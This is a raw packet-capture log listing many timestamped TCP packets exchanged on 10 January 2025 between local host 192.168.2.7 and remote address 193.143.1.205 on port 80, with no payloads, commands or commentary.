Jan 10, 2025 18:42:53.746969938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.747133017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747144938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747158051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747174978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.747441053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747453928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747464895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747478962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747488022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.747512102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.747864962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747875929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747885942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747896910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747905016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.747910976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.747916937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.747942924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.748279095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748290062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748298883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748311996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748318911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.748323917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748334885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748354912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.748377085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.748886108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748899937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748910904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748922110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748934031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748946905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.748955011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.748982906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.749418020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.749429941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.749443054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.749454975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.749465942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.749475956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.749475956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.749488115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.749496937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.749521017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.750011921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750024080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750034094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750045061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750056028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.750061035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750082016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.750096083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.750474930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750485897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750495911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750509024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750519991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.750520945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750533104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.750539064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.750572920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.751028061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751043081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751054049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751065016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751075983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751079082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.751087904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751107931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.751122952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.751574039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751585960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751596928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751606941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751617908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.751619101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.751641035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.772303104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.772341013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.772352934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.772419930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.772439003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.772468090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.776475906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.800630093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.800659895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.800668955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.800756931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.800770044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.800769091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.800829887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.800882101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.800940037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.801023006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.801033974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.801058054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.801080942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.805547953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.805572033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.805582047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.805613041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.805624962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.805650949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.838346004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838383913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838397980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838506937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.838521957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838536024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838547945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838561058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838572979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.838594913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.838769913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838783026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838815928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.838831902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838845968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838860035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.838884115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.838896990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.839158058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.839170933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.839184999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.839206934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.839823008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.872164965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872185946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872198105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872318029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872330904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872328043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.872344017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872392893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.872526884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872572899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.872657061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872668028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872678995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872689962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872704029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.872714043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.872740984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.873040915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873053074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873065948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873075962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873087883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873096943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.873100042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873125076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.873125076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.873426914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873486996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.873493910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873627901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873641014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873653889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873675108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.873698950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.873843908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873856068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873868942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873882055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.873908997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.873934031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.874102116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874121904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874131918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874145031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874175072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.874201059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.874397039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874408007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874450922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.874480963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874491930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874505997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874517918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874536991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874543905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.874548912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.874562025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.874602079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.874985933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875142097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875149965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875185966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.875257969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875271082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875282049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875292063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875355005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.875614882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875627041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875638962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875649929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875663996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875674963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.875696898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.875716925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.875914097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875925064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875946999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875958920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875967979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.875969887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.875988960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.876009941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.876040936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.876480103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.876492977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.876503944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.876514912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.876526117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.876538038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.876548052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.876575947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.876575947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.876905918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.876919985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877063990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877075911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877093077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877116919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.877149105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.877361059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877367973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877372026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877379894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877386093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877398968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877422094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.877448082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.877698898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877743006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.877765894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877794027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877840996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.877933979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877954006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877964973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877978086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.877998114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.878034115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.878176928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.878190041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.878201962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.878213882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.878226995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.878235102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.878262997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.893054962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.893083096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.893093109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.893196106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.893205881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.893218994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.893230915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.893244028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.893290997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.893332005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.893425941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930588007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930600882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930633068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930646896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930656910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.930660963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930716991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.930717945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930730104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930743933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930756092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.930774927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.930819988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930830956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930875063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.930915117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930923939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.930958986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.931001902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931015968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931030035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931051016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.931080103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.931154966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931166887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931205034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.931262016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931274891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931337118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.931370020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931380987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931394100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931405067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931420088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.931436062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.931464911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.964274883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964287996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964301109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964361906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964373112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.964375019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964449883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.964463949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964477062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964520931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.964615107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964627981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964639902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964653015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964689016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.964728117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.964874983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964886904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964899063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964910030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.964932919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.964962959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.965105057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965115070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965125084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965137005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965147972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965172052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.965204954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.965349913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965361118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965372086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965384007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965409040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.965409040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.965646029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965656996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965667963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965678930 CET	80	49699	193.143.1.205	192.168.2.7
